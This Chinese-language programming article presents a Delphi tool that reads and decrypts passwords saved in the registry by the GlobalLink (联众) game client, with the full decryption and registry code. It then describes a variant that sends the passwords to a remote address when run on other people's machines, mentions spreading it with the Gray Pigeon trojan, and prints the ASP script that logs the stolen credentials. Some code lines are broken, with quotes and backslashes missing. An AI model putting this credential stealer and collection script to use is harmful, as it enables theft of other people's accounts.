自己编写联众密码读取器
作者:人鱼姬
最近有高手公布了联众密码的解密方法,于是我就用Delphi编写了一个联众密码读取器,方便大家找回密码。联众世界的界面如图1所示,我这里测试的是最新的2.7.0.6版,为了测试,我还注册了两个用户:renyuji111和renyuji222。
图1
大家注意到登录界面上的“记住密码”了吗?如果这里打了勾,你所输入的密码将会被加密,密文会和用户名储存在注册表里,等到下次登录的时候就不必输密码了,程序直接从注册表中得出密码进行登录。密码存储在HKEY_CURRENT_USERSoftwareGlobalLinkGameShareSettings里,第一个用户的用户名的键为UserName1,密码的键为Password1,第二个用户的用户名的键为UserName2,密码的键为Password2,以此类推……。
我们要编写的程序需要实现的功能步骤为:先读取HKEY_CURRENT_USERSoftwareGlobalLinkGameShareSetting里的UserName1和Password1,再将Password1里的内容解密,将用户名和密码输出,然后再读取HKEY_CURRENT_USERSoftwareGlobalLinkGameShareSetting里的UserName2和Password2,……,直到读出所有用户。
我们先在界面上添加一个按钮和文本框,有这两个控件就够了,如图2所示,关键代码如下。
图2
uses
Windows, SysUtils, Variants, Classes, Forms,
Registry, Controls, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Edit1: TEdit;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
function jiemi(aValue: string): string;
//这是解密函数,将从注册表HKEY_CURRENT_USERSoftwareGlobalLinkGameShareSettingsPassword1下读出的密码密文传递进来,输出的就是密码明文了
var
iValue: array [0..63] of Byte;
i, j, k, iAL, iCL: Byte;
Pass: array[0..15] of Char; //密码最长不超过15位
begin //字符串转化为整型
i := 0;
j := 0;
while (1 = 1) do
begin
j := Pos( , aValue);
if j <= 0 then
begin
iValue[i] := StrToInt(aValue);
Break;
end;
iValue[i] := StrToInt(Copy(aValue, 1, j - 1));
Inc(i);
aValue := Copy(aValue, j + 1, Length(aValue) - j);
end;
for i := 63 downto 1 do
iValue[i - 1] := iValue[i - 1] xor iValue[i];
for i := 15 downto 1 do
begin
iAL := iValue[i];
iCL := iAL;
ASM //嵌入汇编代码
MOV AL,iAL
SAR AL,4
AND AL,$F
MOV iAL,AL
end;
j := iAL + $30;
iAL := iValue[j];
iCL := iCL and $f;
iCL := iValue[0] + iCL;
k := iCL;
iCL := iValue[k];
iValue[j] := iCL;
iValue[k] := iAL;
end;
i := iValue[0];
j := 1;
while iValue[i] <> 0 do
begin
Pass[j - 1] := Chr(iValue[i]);
Inc(i);
Inc(j);
end;
Result := Pass;
end;
function duqu(v: Integer): string;
//这个函数负责读取注册表中的用户名和密码密文,并将用户名和解密后的密码明文输出。参数v是用户的序号,比如联众存的第二个用户的信息就是HKEY_CURRENT_USERSoftwareGlobalLinkGameShareSettingsUserName1和HKEY_CURRENT_USERSoftwareGlobalLinkGameShareSettingsPassword1
var
s: string; //s用来放读取出来的信息
begin
s := ;
with TRegistry.Create do //读取注册表
try
RootKey := HKEY_CURRENT_USER;
OpenKey(SoftwareGlobalLinkGameShareSettings, false);
s := 用户: + ReadString(UserName + IntToStr(v));
s := s + 密码: + jiemi(Trim(ReadString(Password + IntToStr(v))));
Free;
Result := s; //返回结果,格式为用户:*** 密码:***
except
Free;
Result := ; //如果要读取的键值不存在,将会触发异常,执行到这里,将返回值设为空
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
v: Integer;
begin
v := 0;
while true do //这个循环负责反复读取用户信息,直到读取所有
begin
v := 1 + v; //每循环一次就加一
if duqu(v) = then Break; //返回结果为空,说明已经读取了所有用户,退出循环
edit1.Text := edit1.Text + + duqu(v); //添加在界面上的文本框里
Sleep(100); //不要让CPU占用率太高
end;
end;
end.
编译以上代码,测试一下效果,如图3所示,把我的两个账户和密码都准确无误地读出来了。
图3
另外,在此基础上,我还编写了一个可以把本地密码读取并发送出去的程序,只需输入接收脚本的地址,再将生成的exe文件在别人的机器上运行就可以收到密码了(不过有个不完善的地方,就是必须由用户来执行,用system权限运行不能成功,所以不能用灰鸽子批量下载执行,因为灰鸽子是以系统服务运行的,是system权限),如图4所示,其中接收密码的脚本代码如下。
图4
<%
strLogFile = date & "-lz.txt"
S = request("ok")
if S = "" then
response.end
End If
StrLogText = S
set a=Server.CreateObject("scripting.filesystemobject")
set aa=a.opentextfile(server.mappath(".")&""&strLogFile,8,true,0)
aa.writeline(chr(13)+chr(10)&StrLogText)
aa.close
set aa=nothing
set a=nothing
%>
最后,我认为联众不该采用如此简单的加密方法,也不该将密码存在注册表这种谁都可以访问的地方,也许联众可以考虑一下将加密算法复杂化或者使用不可逆加密,在联众解决这个问题之前,大家还是不要用“记住密码”的功能了
补充:综合编程 , 其他综合 ,